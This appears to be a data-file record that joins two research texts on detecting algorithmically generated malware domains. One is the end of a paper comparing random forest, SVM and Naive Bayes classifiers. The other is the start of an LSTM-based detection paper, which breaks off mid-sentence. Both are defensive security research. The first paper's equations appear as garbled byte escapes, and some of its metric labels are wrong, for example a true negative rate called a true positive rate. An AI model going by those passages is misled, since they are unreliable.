\xf0\x9d\x91\x93\xf0\x9d\x91\x93\xf0\x9d\x91\x93\xf0\x9d\x91\x93\xf0\x9d\x91\x93\xf0\x9d\x91\x93\xf0\x9d\x91\x93\xf0\x9d\x91\x93 \xf0\x9d\x90\xbd\xf0\x9d\x90\xbd \xf0\x9d\x91\x97\xf0\x9d\x91\x97=1 + \xef\xbf\xbd( 1 \xf0\x9d\x90\xbd\xf0\x9d\x90\xbd \xef\xbf\xbd\xf0\x9d\x91\x90\xf0\x9d\x91\x90\xf0\x9d\x91\x9c\xf0\x9d\x91\x9c\xf0\x9d\x91\x9b\xf0\x9d\x91\x9b\xf0\x9d\x91\xa1\xf0\x9d\x91\xa1\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x96\xf0\x9d\x91\x96\xf0\x9d\x91\xa2\xf0\x9d\x91\xa2\xf0\x9d\x91\x97\xf0\x9d\x91\x97(\xf0\x9d\x91\xa5\xf0\x9d\x91\xa5, \xf0\x9d\x91\x98\xf0\x9d\x91\x98)) \xf0\x9d\x90\xbd\xf0\x9d\x90\xbd \xf0\x9d\x91\x97\xf0\x9d\x91\x97=1 \xf0\x9d\x90\xbe\xf0\x9d\x90\xbe \xf0\x9d\x91\x98\xf0\x9d\x91\x98=1 b) Classifier Paramteres Parameters Values The number of features (N) 2 The number of trees in the forest (n) 100 The number of features for the best split \xe2\x88\x9a\xf0\x9d\x91\x81\xf0\x9d\x91\x81 The minimum number of samples to split 2 The minimum number of samples at a leaf node 1 c) Classification Results The confusion matrix shows how our model predicts in classification using random forest classifier. The row is the true label, either dga or legit. The column is what our model predicted. Both the row and column has a total field indicate our sample size. The model performs not well. It identified dga domain as dga with only 31.92% accuracy (true positive rate). It misclassified dga domain as legit domain with 68.08% accuracy (false negative rate). Even it has a good prediction on true positive rate, which is 99.67%, the overall results in a biometric system is not good. False acceptance rate is 4.76% and false rejection rate is 12.48%. Therefore, the result of this method is not meet our requirement. 2) Using SVM Classifier a) SVM Algorithms Given a set of training examples, each marked as belonging to one or the other of two categories, an SVM training algorithm Predicted dga legit All True dga 2991 6379 9370 legit 427 127532 127959 All 3418 133911 137329 True Positive Rate (TPR) = 31.92% False Negative Rate (FNR) = 68.08% False Positive Rate (FPR) = 0.33% True Negative Rate (TNR) = 99.67% False Acceptance Rate (FAR) = 4.76% False Rejection Rate (FRR) = 12.49% D4-5 builds a model that assigns new examples to one category or the other, making it a non-probabilistic binary linear classifier. b) Classifier Parameters Parameters Value Kernel Linear Penalty parameter C of the error term 1 c) Classification Result The confusion matrix indicates how our model predicts in classification using SVM classifier. The row is the true label, either dga or legit. The column is what our model predicted. Both the row and column has a total field indicate our sample size. The model performs not well. It identified dga domain as dga with only 12.38% accuracy (true positive rate). It misclassified dga domain as legit domain with 87.62% accuracy (false negative rate). Even it has a good prediction on true positive rate, which is 99.67%, the overall results in a biometric system is not good. False acceptance rate is 6.03% and false rejection rate is 8.30%. Therefore, this method failed in classification. 3) Using Na\xc3\xafve Bayes Classifier a) Na\xc3\xafve Bayes Algorithms \xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\x90\xf0\x9d\x91\x90|\xf0\x9d\x91\xa5\xf0\x9d\x91\xa5) = \xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\xa5\xf0\x9d\x91\xa5|\xf0\x9d\x91\x90\xf0\x9d\x91\x90)\xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\x90\xf0\x9d\x91\x90) \xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\xa5\xf0\x9d\x91\xa5) \xf0\x9d\x91\xa4\xf0\x9d\x91\xa4\xe2\x84\x8e\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92\xf0\x9d\x91\x92 \xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\x90\xf0\x9d\x91\x90|\xf0\x9d\x91\x8b\xf0\x9d\x91\x8b) = \xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\xa5\xf0\x9d\x91\xa51) \xc3\x97 \xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\xa5\xf0\x9d\x91\xa52) \xe2\x80\xa6\xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\xa5\xf0\x9d\x91\xa5\xf0\x9d\x91\x9b\xf0\x9d\x91\x9b) \xc3\x97 \xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\x90\xf0\x9d\x91\x90) \xe2\x80\xa2 \xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\x90\xf0\x9d\x91\x90|\xf0\x9d\x91\x8b\xf0\x9d\x91\x8b) is the posterior probability of class (c, target) given predictor (x, metric features) \xe2\x80\xa2 \xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\x90\xf0\x9d\x91\x90) is the prior probability of class \xe2\x80\xa2 \xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\xa5\xf0\x9d\x91\xa5|\xf0\x9d\x91\x90\xf0\x9d\x91\x90) is the likelihood which is the probability of predictor given class \xe2\x80\xa2 \xf0\x9d\x91\x83\xf0\x9d\x91\x83(\xf0\x9d\x91\xa5\xf0\x9d\x91\xa5) is the prior probability of predictor \xe2\x80\xa2 Na\xc3\xafve Bayes has no parameters to tune b) Classification Result The confusion matrix indicates how our model predicts in classification using Na\xc3\xafve Bayes classifier. The row is the true label, either dga or legit. The column is what our model predicted. Both the row and column has a total field indicate our sample size. The model performs not well. It identified dga domain as dga with only 35.56% accuracy (true positive rate). It misclassified dga domain as legit domain with 64.44% accuracy (false negative rate). Even it has a good prediction on true positive rate, which is 96.04%, the overall results in a biometric system is not good. False acceptance rate is 4.68% and false rejection rate is as high as 60.30%. Therefore, the classifier predicts unsuccessful. Since these three models are not able to classify dga and legit domains successfully, we need to add more features to improve our model. F. Model Improvement We notice that dga domain either uses some random characters as text string or uses a dictionary to make up a new text string. Therefore, we build up our own corpus for these features. 1) NGram Features If a domain is a legit domain, it more likely exists in the Alexa ranking list. Thus, it is necessary to find the similarity of legit domains. We could use some text analysis techniques. The first step is to build up a legit text corpus. Given a subsequence of domains, we summarize the frequency distribution of N- gram among the Alexa domain name string with n = [3, 5]. We called it Alexa_grams matrix. 2) Alexa Gram We calculate the similarity between every single domain and Alexa_grams matrix. In order to calculate the similarity, we use some matrix transformation techniques to sum up the frequency. Furthermore, we normalize the frequency by log10 as a similarity score. (See Table 5.) 3) Dictionary Gram We use a dictionary that contains 479,623 common used word terms [22]. The terms are combination of English vocabulary and common used words with mix of number and alphabet. We will use a words dictionary. After basic cleaning up work, the following is some basic discretions about the dictionary. Similarly, we calculate the dictionary gram using N-gram, n = [3,5] and calculate the normalized similarity between words dictionary and every single domain. (See Table 5.) The reason why we choose n = 3, 4 and 5 is because we have tested n = [1,10] and found n = 3, 4, 5 have the best accuracy results. Table 5. Sample of domain with Alexa grams and dictionary grams domain Alexa match Dict match google 23 14 facebook 42 27 Predicted dga legit All True dga 1160 8210 9370 legit 105 127854 127959 All 1265 136064 137329 TPR FNR FPR TNR FAR FRR 12.38% 87.62% 0.08% 99.92% 6.03% 8.30% Predicted dga legit All True dga 3332 6038 9370 legit 5061 122898 127959 All 8393 128936 137329 TPR FNR FPR TNR FAR FRR 35.56% 64.44% 3.96% 96.04% 4.68% 60.30% Table 4. First 5 entries of words dictionary word 37 a 48 aa 51 aaa 53 aaaa 54 aaaaaa D4-6 pterodactylfarts 53 76 ptes9dro- dwacty2lfa5rrts 30 28 Now, we compute N-Gram matches for all the domains and add to our data frame. Table 6. Calculated N-Gram for legit domains domain class alexa_grams word_grams investmentsonthebeach legit 144.721988 109.722683 infiniteskills legit 81.379156 72.785882 dticash legit 26.557931 23.710317 healthyliving legit 76.710198 61.721689 asset-cache legit 46.267887 31.690803 Table 7. Calculated N-Gram for dga domains domain class alexa_grams word_grams wdqdreklqnpp dga 11.242176 6.367475 wdqjkpltirjhtho dga 14.303602 16.554439 wdqxavemaedon dga 28.468264 28.699800 wdraokbcnspexm dga 25.935386 19.784933 wdsqfivqnqcbna dga 4.597991 3.629002 4) Data Visualization Here we plot scatter about whether our new 'alexa_grams' feature can help us differentiate between DGA and Legit domains. Here we want to see whether our new 'word_grams' feature can help us differentiate between Legit/DGA. Figure 5. Scatter Plot: Dictionary Gram vs Domain Length Figure 6. Scatter Plot: Dictionary Gram vs Entropy After we add two extra features, the overlapped issue improved. We could have a clear view that legit, dga has their own clusters, and it is more reasonable to perform some classification methods once again. 5) Classification with Four Feature Now we have four features in our model: Length, Entropy, Alexa_grams, and Dict_grams. We could use the same parameters tuning our classification model. a) Using Random Forest Classifier The confusion matrix indicates how our model predicts in classification using random forest classifier. The row is the true label, either dga or legit. The column is what our model predicted. Both the row and column has a total field indicate our sample size. The model performs pretty well. It identified dga domain as dga with 97.53% accuracy (true positive rate). It misclassified dga domain as legit domain as low as 2.47% (false negative rate). It has a good prediction on true positive rate, which is 99.80%, It also has low false positive rate which is 0.20%. The overall results in a biometric system is good as well. False acceptance rate is 0.18% and false rejection rate is 2.70%. Therefore, this method succeeds in classification. b) Using SVM Classifier The confusion matrix indicates how our model predicts in classification using SVM classifier. The row is the true label, either dga or legit. The column is what our model predicted. Both the row and column has a total field indicate our sample size. The model performs pretty well. It identified dga domain as dga with 92.03% accuracy (true positive rate). It misclassified dga domain as legit domain as low as 7.97% (false negative rate). It has a good prediction on true positive rate, Figure 3. Scatter Plot: Alexa Gram vs Domain Length Figure 4. Scatter Plot: Alexa Gram vs Domain Entropy Predicted dga legit All True dga 9139 231 9370 legit 254 127705 127959 All 9393 127936 137329 TPR FNR FPR TNR FAR FRR 97.53% 2.47% 0.20% 99.80% 0.18% 2.70% Predicted dga legit All True dga 8623 747 9370 legit 534 127425 127959 All 9157 128172 137329 TPR FNR FPR TNR FAR FRR 92.03% 7.97% 0.42% 99.58% 0.58% 5.83% D4-7 which is 99.80%, It also has low false positive rate which is 0.42%. The overall results in a biometric system is good as well. False acceptance rate is 0.58% and false rejection rate is 5.83%. Therefore, this method succeeds in classification. c) Using Na\xc3\xafve Bayes Classifier The confusion matrix indicates how our model predicts in classification using Na\xc3\xafve Bayes classifier. The row is the true label, either dga or legit. The column is what our model predicted. Both the row and column has a total field indicate our sample size. The model performs pretty well. It identified dga domain as dga with only 76.87% accuracy (true positive rate). It misclassified dga domain as legit domain with 23.13% (false negative rate). It has a good prediction on true positive rate, which is 99.72%. It has low false positive rate, which is 0.28%. The overall results in a biometric system is not good. False acceptance rate is 1.67% and false rejection rate is 4.68%. Therefore, this method failed in classification. 6) Model Comparisons Table 8. Model Comparisons Performance Rate Random Forest SVM Na\xc3\xafve Bayes TPR 97.53% 92.03% 76.87% FNR 2.47% 7.97% 23.13% FPR 0.20% 0.42% 0.28% TNR 99.80% 99.58% 99.72% FAR 0.18% 0.58% 1.67% FRR 2.70% 5.83% 4.68% For true positive, true negative rate, the higher the better, because it means more accurate on our prediction. For false positive rate, true negative rate, false acceptance rate and false rejection rate, the lower the better, because it means the type I and type II error rates. Among all three models, Random Forest classifier outperforms the best. The reason that random forest performs the best is because random forest is a multi-layer decision tree. It will subgroup every details of features in a tree structure. The domain is a series of text string, and a tree structure classifier very easily captures the specific features of text string. However, linear SVM is trying to draw several straight line between the features of data. The scatter plot shows that we still have overlapped data among all the features so that the accuracy of SVM is not as good as random forest. The Na\xc3\xafve Bayes is a combination of conditional probabilities, and a single gram is not effective among text string. We used this classifier as our prediction model. We also calculate the importance score on these four features. The importance of a feature is computed as normalized total reduction of the criterion brought by that feature. Table 9. Importance Score on Random Forest Length Entropy Alexa_grams Dict_grams Score 0.2925341 0.21776668 0.36576691 0.1239323 We found that the most important feature in our model is Alexa_grams. It indicates that Alexa ranking maintains a good contribution on dga classification. It proves our hypotheses that most of botnet masters are using dictionary or random characters to generate malicious domains. The second ranking is length of domain names followed by entropy and Dict_grams. It indicates that more and more botnet masters are using some English words dictionary as their algorithms input. Our methods could also detect dga that using dictionary. 7) Misclassification a) Educational Institution Domains First, look at a piece of our prediction sample. The following table is an example of prediction using random forest as a classifier. It performs and predicts well except some university domain names. For example, tsinghua.edu.cn and sjtu.edu.cn are the domain names of university in China. Table 10. Prediction sample domain prediction google legit webmagnat.ro legit bikemastertool.com legit 1cb8a5f36f dga pterodactylfarts legit pybmvodrcmkwq.biz dga abuliyan.com legit bey666on4ce dga sjtu.edu.cn dga tsinghua.edu.cn dga Table 11. Misclassification sample domain length entropy alexa_gram word_gram predict duurzaamthuis 13 3.18083 20.353 17.785 legit hutkuzwropgf 12 3.4183 14.240 10.431 legit xn-- ecki4eoz0157d hv1bosfom5c 28 4.28039 37.036 15.577 legit nllcolooxrycoy 14 2.61058 31.160 26.914 dga dktazhqlzsnorer 15 3.64022 24.592 22.804 legit eprqhtyhoplu 12 3.25163 24.762 19.213 dga domowe-wypieki 14 3.23593 28.051 24.537 legit taesdijrndsatw 14 3.23593 30.930 21.647 dga edarteprsytvhww 15 3.37356 36.684 29.358 dga ukonehloneybmfb 15 3.37356 39.44 36.303 dga ekgzkawofkxzlq 14 3.32486 7.0389 5.4897 legit For those legit domains but our model treat them as dga, some of legit domains come from foreigner countries. For example, domowe-wypieki comes from www.domowe- wypieki.com, which is a homemade pastries food website in polish. These countries use very different word and character system than those in English. In order to use English words in domain system, many of domains are adapted and made of some initial letters of approximately pronunciation of foreigner language. This is why some legit domain arise misclassification issue. Predicted dga legit All True dga 7203 2167 9370 legit 354 127605 127959 All 7557 129772 137329 TPR FNR FPR TNR FAR FRR 76.87% 23.13% 0.28% 99.72% 1.67% 4.68% D4-8 For those dga domains but our model regards them as legit, probably because Alexa ranking only summarize the unique visiting volume. Thus, there are still so many malicious and dga domain are among Alexa dataset. b) Discussion There are some potential ways to address those issues above and improve our model. First, we could set up a filter to sort the top-level domain (TLD) on those education and non-profit domains. In addition, for those foreign websites, we would try to figure out how these domains works and find a better legit dataset, except for Alexa. We could also use other dictionary such as Wiki keywords as our classifier features. At last, we plan to build up a self-adapted machine learning architecture that could learn from real-time DNS traffic, detect, and prevent those anomaly activities in our future research. V. CONCLUSION AND DISCUSSION In this paper, we introduce the necessary about detection of DGA domains. In addition, we tested three common machine learning algorithms, random forest, SVM and Na\xc3\xafve Bayes, to classify legit and DGA domain names. We provide data visualization techniques with two new features, Alexa gram and Dictionary gram in classification experiment. At last, we found introducing NGram features would increase the accuracy of classification models and random forest classifier performs the best among all. We also found some issue using our methods and come up some ideas to solve the problem. We plan to improve our classification method and then setup our own DNS servers and build up two-engine network monitoring system. One is for machine learning training and model updating. The other one is for real-time monitoring for prevention. REFERENCES [1] S. Yadav, A. K. K. Reddy, A. L. N. Reddy, and S. Ranjan, \xe2\x80\x9cDetecting algorithmically generated malicious domain names,\xe2\x80\x9d presented at the the 10th annual conference, New York, New York, USA, 2010, pp. 48\xe2\x80\x9361. [2] S. Yadav, A. K. K. Reddy, A. L. N. Reddy, and S. Ranjan, \xe2\x80\x9cDetecting algorithmically generated domain-flux attacks with DNS traffic analysis,\xe2\x80\x9d IEEE/ACM Transactions on Networking (TON, vol. 20, no. 5, Oct. 2012. [3] A. Reddy, \xe2\x80\x9cDetecting Networks Employing Algorithmically Generated Domain Names,\xe2\x80\x9d 2010. [4] Z. Wei-wei and G. Qian, \xe2\x80\x9cDetecting Machine Generated Domain Names Based on Morpheme Features,\xe2\x80\x9d 2013. [5] P. Barthakur, M. Dahal, and M. K. Ghose, \xe2\x80\x9cAn Efficient Machine Learning Based Classification Scheme for Detecting Distributed Command & Control Traffic of P2P Botnets,\xe2\x80\x9d International Journal of Modern \xe2\x80\xa6, 2013. [6] G. Gu, R. Perdisci, J. Zhang, and W. Lee. BotMiner: Clustering Analysis of Network Traffic for Protocol- and Structure-independent Botnet Detection. Proceedings of the 17th USENIX Security Symposium (Security\xe2\x80\x9908), 2008. [7] G. Gu, J. Zhang, and W. Lee. BotSniffer: Detecting Botnet Command and Control Channels in Network Traffic. Proc. of the 15th Annual Network and Distributed System Security Symposium (NDSS\xe2\x80\x9908), Feb. 2008. [8] T. Holz, M. Steiner, F. Dahl, E. W. Biersack, and F. Freiling. Measurements and Mitigation of Peer-to-peer-based Botnets: A Case Study on Storm Worm. In First Usenix Workshop on Large-scale Exploits and Emergent Threats (LEET), April 2008. [9] S. S. J. Ma, L.K. Saul and G. Voelker. Beyond Blacklists: Learning to Detect Malicious Web Sites from Suspicious URLs. Proc. of ACM KDD, July 2009. [10] D.K.McGrathandM.Gupta.BehindPhishing:AnExaminationofPhisher Modi Operandi. Proc. of USENIX workshop on Large-scale Exploits and Emergent Threats (LEET), Apr. 2008. [11] E. Passerini, R. Paleari, L. Martignoni, and D. Bruschi. Fluxor : Detecting and Monitoring Fast-flux Service Networks. Detection of Intrusions and Malware, and Vulnerability Assessment, 2008. [12] R. Perdisci, I. Corona, D. Dagon, and W. Lee. Detecting Malicious Flux Service Networks Through Passive Analysis of Recursive DNS Traces. In Annual Computer Society Security Applications Conference (ACSAC), dec 2009. [13] M. Antonakakis, R. Perdisci, D. Dagon,W. Lee, and N. Feamster. Building a Dynamic Reputation System for DNS. In USENIX Security Symposium,2010. [14] Y. Xie, F. Yu, K. Achan, R. Panigrahy, G. Hulten, and I. Osipkov. Spamming Botnets: Signatures and Characteristics. ACM SIGCOMM Computer. [15] Manos Antonakakis, Roberto Perdisci, Yacin Nadji, Nikolaos Vasiloglou, Saeed Abu-Nimeh, Wenke Lee, and David Dagon. 2012. From throw- away traffic to bots: detecting the rise of DGA-based malware. In Proceedings of the 21st USENIX conference on Security symposium (Security'12). USENIX Association, Berkeley, CA, USA, 24- 24. [16] ZeuS Gets More Sophisticated Using P2P Techniques. http://www.abuse.ch/?p=3499, 2011 [17] S. Stover, D. Dittrich, J. Hernandez, and S. Dietrich. Analysis of the storm and nugache trojans: P2P is here. In USENIX; login:, vol. 32, no. 6, December 2007. [18] Wikipedia. The storm botnet. http://en.wikipedia.org/wiki/Storm_botnet. [19] Prince, Brian (January 26, 2007). ""'Storm Worm' Continues to Spread Around Globe"". FOXNews.com. Retrieved 2007-01-27. [20] Alexa ranking, https://aws.amazon.com/alexa-top-sites/ [21] Dataset collection, http://datadrivensecurity.info/blog/pages/dds-dataset- collection.html [22] Data hacking, http://clicksecurity.github.io/data_hacking/ I. INTRODUCTION II. Background A. The Domain Name System B. Domain Name Space C. DNS Related Security Issues 1) DNS Fluxing 2) Botnets 3) Domain Generation Algorithms (DGA) 4) DNS Monitoring III. Related Work IV. DGA Detection A. Detection System B. Data Sets 1) Alexa Domains 2) DGA Domains C. Basic Statistical Features 1) Length 2) Entropy D. Data Visualization E. Classification with Two Features 1) Using Random Forest Classifier a) Random Forest Algorithms b) Classifier Paramteres c) Classification Results 2) Using SVM Classifier a) SVM Algorithms b) Classifier Parameters c) Classification Result 3) Using Na\xc3\xafve Bayes Classifier a) Na\xc3\xafve Bayes Algorithms b) Classification Result F. Model Improvement 1) NGram Features 2) Alexa Gram 3) Dictionary Gram 4) Data Visualization 5) Classification with Four Feature a) Using Random Forest Classifier b) Using SVM Classifier c) Using Na\xc3\xafve Bayes Classifier 6) Model Comparisons 7) Misclassification a) Educational Institution Domains b) Discussion V. Conclusion and Discussion References","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Predicting Domain Generation Algorithms with Long Short-Term Memory Networks Jonathan Woodbridge, Hyrum S. Anderson, Anjum Ahuja, and Daniel Grant {jwoodbridge,hyrum,aahuja,dgrant}@endgame.com Endgame, Inc. Arlington, VA 22201 Abstract\xe2\x80\x94Various families of malware use domain generation algorithms (DGAs) to generate a large number of pseudo-random domain names to connect to a command and control (C2) server. In order to block DGA C2 traffic, security organizations must first discover the algorithm by reverse engineering malware samples, then generate a list of domains for a given seed. The domains are then either preregistered, sink-holed or published in a DNS blacklist. This process is not only tedious, but can be readily circumvented by malware authors. An alternative approach to stop malware from using DGAs is to intercept DNS queries on a network and predict whether domains are DGA generated. Much of the previous work in DGA detection is based on finding groupings of like domains and using their statistical properties to determine if they are DGA generated. However, these techniques are run over large time windows and cannot be used for real-time detection and prevention. In addition, many of these techniques also use contextual information such as passive DNS and aggregations of all NXDomains throughout a network. Such requirements are not only costly to integrate, they may not be possible due to real-world constraints of many systems (such as endpoint detection). An alternative to these systems is a much harder problem: detect DGA generation on a per domain basis with no information except for the domain name. Previous work to solve this harder problem exhibits poor performance and many of these systems rely heavily on manual creation of features; a time consuming process that can easily be circumvented by malware authors. This paper presents a DGA classifier that leverages long short-term memory (LSTM) networks for real-time prediction of DGAs without the need for contextual information or manually created features. In addition, the presented technique can accurately perform multiclass classification giving the ability to attribute a DGA generated domain to a specific malware family. The technique is extremely easy to implement using open source tools allowing the technique to be deployed in almost any setting. Results are significantly better than all state-of-the-art techniques, providing 0.9993 area under the receiver operating characteristic curve for binary classification and a micro-averaged F1 score of 0.9906. In other terms, the LSTM technique can provide a 90% detection rate with a 1:10000 false positive (FP) rate\xe2\x80\x94a twenty times FP improvement over the next best method. Experiments in this paper are run on open datasets and code snippets are provided to reproduce the results. I. INTRODUCTION Many malware families contain domain generation algo- rithms (DGAs) to make preemptive defenses difficult. Domains are generated pseudo-randomly in bulk (hundreds to tens-of- thousands per day) by a malware sample. The malware then attempts to connect to all or a portion of these generated domains in hopes of finding a command and control (C2) server from which it can update, upload gathered intelligence, or pursue other malicious activities. The malicious actor only needs to register a small number of these domains to be successful. However, all the domains must be sinkholed, registered, or blacklisted before they go into use in order to preemptively defeat such an attack. This defense becomes increasingly difficult as the rate of dynamically generated domains increases. Authors in [1] presented a thorough review of the efficacy of blacklists. As a part of this review, authors analyzed both public and private blacklists for DGA coverage, (i.e., how many domains generated by DGAs were contained in blacklists). Public blacklists were surprisingly lacking in terms of DGA coverage with less than 1.2% of DGAs analyzed by the authors being contained in any of the blacklists. Vendor provided blacklists fared better, but had mixed results over malware families with coverage varying from 0% to 99.5%. These results suggest that blacklists are useful, but must be supplemented by other techniques to provide a more adequate level of protection. Another approach to combating malware using DGAs is to build a DGA classifier. This classifier can live in the network sniffing out DNS requests and looking for DGAs. When DGAs are detected, the classifier notifies other automated tools or network administrators to further investigate the origin of a DGA. Previous work in DGA detection can be broken down into two categories: retrospective detection and real-time detection. Retrospective detection makes bulk predictions on large sets of domains and are designed as a reactionary system that cannot be used for real-time detection and prevention [2], [3], [4]. In these systems, sets of domains are broken down into groupings using clustering with the intent to generate statistical properties of each grouping. Classification is accomplished by generating templates during training and using statistical tests (e.g., Kullback-Leibler divergence) to classify groups of potential DGAs. In addition, these techniques incorporate contextual information such as HTTP headers, NXDomains across a network, and passive DNS to further improve per- formance. Much of the previous work in DGA detection falls in the former category and, unfortunately, does not meet the needs of many real-world security applications that require real-time detection and prevention [5]. In addition, it is often unrealistic for many security applications to use contextual information. For example, endpoint detection and response (EDR) systems run on endpoints and hosts and have strict performance requirements on processing, network, and mem- ar X iv :1 61 1. 00 79 1v 1 [ cs .C R ] 2 N ov 2 01 6 ory usage. Aggregating such contextual information from the network to each endpoint requires far too much overhead and is not practical for a real-world deployment. Real-time detection techniques attempts to classify do- mains as DGA generated on a per domain basis using only the domains\xe2\x80\x99 names (i.e., no additional contextual information). Real-time detection is a considerably harder problem than retrospective techniques and techniques often exhibit perfor- mance far too low for a real-world deployment. (Suprisingly, authors in [5] found that retropsective techniques had similarly bad performance!) Many of the previous real-time approaches use hand picked features (e.g., entropy, string length, vowel to consonant ratio, etc.) that are fed into a machine learning model, such as a random forest classifier. Using hand-crafted features have two major drawbacks. First, hand-crafted features are easy to circumvent. Second, deriving hand-crafted features is a time consuming process. If, and when, a malicious actor derives a new DGA family around beating a set of features, security professionals will need to spend considerable time creating new features. To the best of our knowledge, authors in [2] presented the first (and only until this paper) featureless real-time technique by using Hidden Markov Models (HMMs). However, as shown later in the paper, HMMs perform quite poorly on detecting DGAs. To note, the HMMs in [2] were part of a much larger retrospective detection system. This paper presents a feature-less real-time technique us- ing Long Short-Term Memory networks (LSTMs) to classify DGAs. This technique has four significant advantages over other techniques in the literature. First, the LSTM DGA classifier is featureless, in that it operates on raw domain names (e.g., google.com, facebook.com, etc.). If a new family of DGA appears, then the classifier can be retrained without the tedious step of hand picking features. LSTMs work largely as a black box making it very difficult for adversaries to reverse engineer and beat a classifier without the same training set. Second, the presented technique has a significantly better true positive rate/false positive rate over previously published retrospective and real-time approaches. Third, the technique also works in a multiclass classification setting. Therefore, the algorithm not only provides a binary decision of whether a domain is DGA or not, but can accurately fingerprint a unique DGA\xe2\x80\x99s struc- ture. Fourth, the presented algorithm can classify in real-time using absolutely no contextual information. Classification of a domain takes 20ms on commodity hardware.1 The technique is trivial to implement and can run on virtually any security environment. In fact, all the code required to implement this system is provided in this paper demonstrating its ease of deployment. In this paper, we make the following contributions. We 1) introduce an LSTM network to predict DGA gener- ated domains, which to our knowledge, is the first application and in-depth analysis of deep learning to this domain; 2) present complete experimental results showing signif- icant improvements over previous techniques (both real-time and retrospective) in the literature using open datasets; and 3) provide source code to reproduce results. 1Apple MacBook Pro with a 2.2 GHz Intel Core i7 and 16GB of memory To allow for easily reproducible results, Python source code built on the open source framework Keras [6] is provided. Experiments were run on GPU hardware, but it\xe2\x80\x99s possible to run all experiments on commodity desktop or laptop hardware. An overview of LSTMs and previous work is discussed in Section II. Details of reproducing the results are given in Sections III and IV. Full results are given in Section V with suggestions for future work in Section VI. II. BACKGROUND Domain fluxing is a technique used by botnets and command-and-control (C2) servers to create many domains using a Domain Generation Algorithm (DGA) [7], [8]. All botnets and C2 servers in the same infrastructure use the same seeded algorithm such that they all create the same pseudorandomly generated domains. A subset of these domains are registered by the C2 servers while each botnet iterates through the DGA generated domains until it finds one that is registered. To further complicate the process, C2 servers continually switch to new DGA generated domains making blacklist creation and take down efforts difficult. One approach to combating domain fluxing is to reverse engineer a piece of malware and its respective DGA [8]. Once a DGA and its respective seed is known, future domains can be registered and used as an impostor C2 server to hijack botnets (a process known as sinkholing). Once a campaign has been hijacked, adversaries must redeploy new botnets with updated seeds to continue. Blacklisting is another approach to combat domain fluxing [1]. DGA generated domains are added to a blacklist that can be used by a network administrator to block connections to potential C2 servers. However, both blacklists and sinkholing are only effective when both the algorithm and seed used by a campaign is known. A. Domain Generation Algorithms This paper evaluates the ability to classify DGA generated domains from 30 different types of malware. Malware families include ransomware, such as Cryptolocker [9], [10] and Cryptowall [11], banking trojans, such as Hesperbot [12], and general information-stealing tactics, such as ramnit [13]. DGA techniques vary in complexity from simple uniformly generated domain names to those that attempt to model distri- butions that are seen in real domains. ramnit, for example, creates domains with a series of divides, multiplies and modu- los computed on a seed [13] while suppobox creates domains by concatenating two random strings (typically taken from the English language) [14]. Predicting DGA generated domains from such algorithms as suppobox is extremely difficult without using contextual information. In fact, the LSTM technique presented in this paper was the only real-time technique able to classify such domains. B. DGA Classification DGA classification can be a useful component of a domain reputation system. Domain reputation systems have the task of assigning a trustworthy score of a domain. This score typically varies from 0 (most benign) to 1 (most malicious). Domain reputation systems typically incorporate many pieces of hetero- geneous data, such as passive DNS (pDNS), to make decisions on a domain\xe2\x80\x99s reputation [15], [16], [17]. DGA classification is one piece of information that can help assign a reputation to a domain. Previous approaches to DGA classification can be roughly broken down into two categories: 1) Retrospective: classifying domains in groups to take advantage of bulk statistical properties or common contextual information; and 2) Real-time: classifying domains individually with no additional contextual information. Authors in [3], [4] detect DGAs by using both unigram and bigram statistics of domain clusters. The training set is separated into two subsets: those generated by a DGA and those not generated by a DGA. The distributions of both unigrams and bigrams are calculated for both the subsets. Clas- sification occurs in batches. Each batch of unknown domains is clustered by shared second level domain and domains sharing the same IP address. The unigram and bigram distributions are calculated for each cluster and compared to the two known (labeled) subsets using the Kullback-Leibler (KL) distance. In addition, the authors use the Jaccard distance to compare bigrams between clusters and the known (labeled) sets as well. Authors in [2] apply a similar clustering process to clas- sify domains with unsuccessful DNS resolutions. To train, statistical features are calculated for each subset of labeled DGA generated domains, such as Bobax, Torpig, and Conficker.C. Unknown domains are clustered by statistical characteristics such as length, entropy, and character frequency distribution, as well as shared hosts requesting the domain (i.e., cluster two domains together if the same host made a DNS query for both domains). Next, statistical features are calculated for each cluster and compared to the training subsets to classify the clusters as formed by a known DGA. If a cluster is classified as belonging to a known DGA, the host is deemed to be infected. Once a host is deemed to be infected with a DGA-bot, the authors attempt to identify the bots active C2 server. This stage of the process uses a Hidden Markov Model trained on each known family of DGA and applied to single domains (i.e., this technique follows the same assumptions as the LSTM technique proposed by this paper). Each domain with a successful DNS request is fed through each HMM. If a domain receives an adequate score (i.e., greater than some threshold \xce\xb8), the domain is labeled as a DGA. The threshold is learned at training time and set to a maximum false positive rate of 